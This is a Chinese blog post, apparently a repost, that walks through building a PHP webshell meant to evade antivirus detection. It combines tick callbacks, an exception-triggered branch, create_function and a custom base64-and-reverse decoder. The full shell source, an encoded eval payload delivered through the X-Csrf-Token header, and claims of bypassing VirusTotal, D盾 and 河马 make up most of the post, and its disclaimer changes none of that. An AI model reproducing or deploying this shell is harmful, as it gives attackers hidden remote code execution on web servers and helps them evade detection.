文章总结: 该文档介绍了一种PHPwebshell免杀技术,结合分支对抗、异常捕获、回调函数、动态函数调用和编码混淆等方法。通过declare(ticks)触发定时回调,利用异常处理机制隐藏恶意代码,使用create_function动态执行经过Base64和逆序处理的payload。测试显示该方案能绕过多个安全检测工具,适用于PHP7环境。 综合评分: 82 文章分类: 恶意软件,WEB安全,免杀,安全开发,渗透测试
记录一个免杀的php webshell demo
原创
Luc1dkilL Luc1dkilL
蚁景网络安全
2026年4月27日 17:40 湖南
在小说阅读器读本章
去阅读
分支对抗
分支对抗简单来说就是利用了增大程序控制分支的复杂度来使得绕过检测引擎,程序在控制流图上往往有几种结构:
那么我们还有其他的改变程序控制流的思路不?此处我用了两种方法混合在一起实现免杀
异常捕获机制
这里使用的是触发异常来完成程序控制流的第一次分支,所以我自己写了一个除以0触发异常的函数
function safeDivide(a,b) {
if ($b == 0) {
throw new Exception("Division by zero is not allowed.");
}
return a/b;
}
设置一个pass传参,我设置的主体框架如下:
try {
echo "result:".safeDivide(2025, ($_GET['pass']-1));
}catch(Exception $e){
// evil code
}
回调
我在php的官方文档里翻到一个有趣的函数
ticks参数可以设置Zend VM opcode执行条数后触发
我们测试一下:
<?php
declare(ticks=15);
function test(){
echo "this is evil code\n";
}
register_tick_function('test');
for ($i = 1; $i <= 12; $i++) {
echo "shell: $i\n";
}
我们可以发现设置declare(ticks=15) 后,PHP每累计到约15个“tickable”执行点,就调用一次通过register_tick_function注册的函数。
那么对于我们的webshell免杀,我们也可以利用这个函数,来完成程序控制流的改变
此处的设计将declare回调放在最外层实现第一次的控制流变化,将异常触发放在内层实现第二次
动态函数调用
这个就是直接使用php的函数了,没啥好说的了
create_function(string $args, string $code): string
实际测试的时候,如果使用变量接受的话,容易被检测
$a = create_function('', '');
$a();
不使用变量来存匿名函数,这个也是尽量减少污点分析时候的特征
@create_function('','')))();
编码混淆
找个大模型一把梭
base64和逆序
function custom_base64_decode($input) {
$base64Chars = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/";
$input = rtrim($input, '=');
$binaryString = '';
foreach (str_split($input) as $char) {
$index = strpos($base64Chars, $char);
if ($index === false) {
throw new Exception("Invalid Base64 character: $char");
}
$binaryString .= str_pad(decbin($index), 6, '0', STR_PAD_LEFT);
}
$bytes = str_split($binaryString, 8);
$decodedString = '';
foreach ($bytes as $byte) {
$decodedString .= chr(bindec($byte));
}
return $decodedString;
}
function reverseString($input)
{
if (!is_string($input)) {
return "need str";
}
$length = strlen($input);
$reversed = "";
for ($i = $length - 1; $i >= 0; $i--) {
$reversed .= $input[ $i ];
}
return $reversed;
}
完整的webshell
源代码
具体的攻击载荷放在http的X-Csrf-Token里
<?php
session_start();
declare(ticks=15);
function safeDivide($a, $b) {
if ($b == 0) {
throw new Exception("Division by zero is not allowed.");
}
return $a / $b;
}
function custom_base64_decode($input) {
$base64Chars = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/";
$input = rtrim($input, '=');
$binaryString = '';
foreach (str_split($input) as $char) {
$index = strpos($base64Chars, $char);
if ($index === false) {
throw new Exception("Invalid Base64 character: $char");
}
$binaryString .= str_pad(decbin($index), 6, '0', STR_PAD_LEFT);
}
$bytes = str_split($binaryString, 8);
$decodedString = '';
foreach ($bytes as $byte) {
$decodedString .= chr(bindec($byte));
}
return $decodedString;
}
function reverseString($input)
{
if (!is_string($input)) {
return "need str";
}
$length = strlen($input);
$reversed = "";
for ($i = $length - 1; $i >= 0; $i--) {
$reversed .= $input[ $i ];
}
return $reversed;
}
function tickHandler(){
try {
echo "result:".safeDivide(2025, ($_GET['pass']-1));
}catch(Exception $e){
@create_function('',custom_base64_decode(reverseString(apache_request_headers()['X-Csrf-Token'])))();
}
}
register_tick_function('tickHandler');
for ($i = 1; $i <= 12; $i++) {
echo "shell: $i\n";
}
测试环境
PHP版本:PHP7全版本
OS:Windows和Linux环境均测试通过
使用方法
初始payload: eval($_POST[1]);
base64编码,逆序处理:==wOp0VMbR1UPB1XkgCbhZXZ
放在http头部里
webshell连接
免杀效果展示
- 第四届伏魔挑战赛成功绕过(white)的截图
- VT
- D盾(2.1.8.6)
- 河马:报了可疑
免责声明:
本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。
任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。
本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我。
本文转载自:蚁景网络安全 Luc1dkilL Luc1dkilL《记录一个免杀的php webshell demo》
版权声明
本站仅做备份收录,仅供研究与教学参考之用。
读者将信息用于其他用途的,全部法律及连带责任由读者自行承担,本站不承担任何责任。








评论